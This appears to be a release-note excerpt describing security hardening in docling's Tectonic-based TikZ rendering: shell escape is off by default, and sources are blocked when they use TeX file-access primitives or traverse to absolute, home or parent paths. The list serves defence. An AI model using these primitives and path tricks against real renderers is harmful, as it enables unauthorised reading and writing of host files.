
• TectonicEngine now defaults to allow_shell_escape=False, and without shell escape Tectonic runs with --untrusted and --only-cached.
• Before compiling, docling checks the generated document and every staged file. It skips rendering, and keeps the diagram as TikZ code, when the source uses the \openin, \openout, \XeTeXpicfile or \XeTeXpdffile primitives, or names an absolute, home, drive-letter or parent-directory path in \input, \include, \includegraphics, \InputIfFileExists or \graphicspath.